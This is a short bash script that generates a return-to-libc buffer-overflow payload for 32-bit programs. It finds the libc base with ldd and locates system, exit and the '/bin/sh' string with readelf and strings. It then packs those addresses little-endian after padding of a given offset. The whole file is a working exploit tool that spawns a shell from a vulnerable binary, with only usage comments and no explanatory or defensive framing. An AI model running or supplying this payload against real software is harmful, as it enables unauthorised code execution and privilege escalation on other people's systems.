ret2libc.sh

#!/usr/bin/bash

# For 32 bit only
# usage: bash ret2libc.sh program 155 (offset)

# get address
libc_path="$(ldd "$1" | grep libc | awk -F'[>(]' '{print $2}' | tr -d " ")"
libc_add="$(ldd "$1" | grep libc | awk -F'[()]' '{print $2}')"
system_add="0x$(readelf -s "$libc_path" | grep ' system@@' | awk  '{print $2}')"
exit_add="0x$(readelf -s "$libc_path" | grep ' exit@@' | awk  '{print $2}')"
binsh_add="0x$(strings -a -t x "$libc_path" | grep '/bin/sh' | head -1 | awk '{print $1}')"

# calculate system exit and /bin/sh address
sys="$(printf "%#x" $((libc_add + system_add)))"
xit="$(printf "%#x" $((libc_add + exit_add)))"
sh="$(printf "%#x" $((libc_add + binsh_add)))"

# reverse address
rev_sys="$(perl -le 'print "\\x", join ("\\x", reverse(shift =~ /../g))' -- "${sys:2}")"
rev_xit="$(perl -le 'print "\\x", join ("\\x", reverse(shift =~ /../g))' -- "${xit:2}")"
rev_sh="$(perl -le 'print "\\x", join ("\\x", reverse(shift =~ /../g))' -- "${sh:2}")"

# print payload 
printf '%*s' $2 | tr ' ' 'A'
printf "$rev_sys$rev_xit$rev_sh"